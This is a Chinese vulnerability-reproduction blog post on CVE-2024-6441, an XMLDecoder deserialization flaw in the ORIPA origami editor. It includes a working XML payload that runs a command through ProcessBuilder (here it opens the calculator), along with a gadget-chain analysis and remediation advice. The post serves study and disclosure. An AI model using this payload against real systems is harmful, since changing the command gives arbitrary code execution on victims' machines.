CVE-2024-6441 oripa1.72 反序列化漏洞复现

一、复现步骤

1. 将JDK版本设置为JDK 21,启动oripa的exe文件或jar包

2. 通过oripa界面的File->open路径上传一个XML文件

在这里插入图片描述

XML内容如下
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1" >
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

3. 弹出计算器,复现成功

在这里插入图片描述

二、原理分析

1. Gadget Chain如下所示

java.beans.XMLDecoder#readObject

java.beans.XMLDecoder#parsingComplete

java.security.AccessController#doPrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext)

java.security.AccessController#executePrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.lang.Class<?>)

java.security.PrivilegedAction#run

com.sun.beans.decoder.DocumentHandler#parse

java.security.ProtectionDomain.JavaSecurityAccessImpl#doIntersectionPrivilege(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.security.AccessControlContext)

java.security.AccessController#doPrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext)

java.security.AccessController#executePrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.lang.Class<?>)

java.security.PrivilegedAction#run

com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse(org.xml.sax.InputSource, org.xml.sax.helpers.DefaultHandler)

com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl.JAXPSAXParser#parse(org.xml.sax.InputSource)

com.sun.org.apache.xerces.internal.parsers.XMLParser#parse

com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(com.sun.org.apache.xerces.internal.xni.parser.XMLInputSource)

com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(boolean)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.FragmentContentDriver#next

com.sun.org.apache.xerces.internal.parsers.AbstractXMLDocumentParser#emptyElement

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

com.sun.beans.decoder.DocumentHandler#endElement

com.sun.beans.decoder.ElementHandler#endElement

com.sun.beans.decoder.NewElementHandler#getValueObject()

com.sun.beans.decoder.ObjectElementHandler#getValueObject

com.sun.beans.decoder.ValueObjectImpl#create

java.beans.Expression#getValue

java.beans.Statement#invoke

java.beans.Statement#invokeInternal

sun.reflect.misc.MethodUtil#invoke

java.lang.reflect.Method#invoke(java.lang.Object, java.lang.Object...)

...省略较多invoke方法,最后通过反射调用ProcessBuilder的start方法弹出计算器

java.lang.ProcessBuilder#start(java.lang.ProcessBuilder.Redirect[])

2. source方法和sink方法

XMLDecoder的readObject即为source方法,它是反序列化入口点。

在这里插入图片描述

个人认为,java.lang.reflect.Method的invoke可以作为sink方法,该方法通过反射调用一个类的某个方法,在此处传入的即为ProcessBuilder类的start方法

在这里插入图片描述

3. 个人见解

该漏洞的成因与WebLogic漏洞类似,即不建议直接使用jdk原生的XMLDecoder来处理XML文档,应当加上对XML文件内容的验证,修复建议可以参考WebLogic。

传入XML的效果其实等价于new java.lang.ProcessBuilder(new String[]{"calc"}).start();

在这里插入图片描述

4. 建议阅读链接

https://www.cnblogs.com/LittleHann/p/17814641.html
https://zhuanlan.zhihu.com/p/350309128
https://zhuanlan.zhihu.com/p/623500182

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值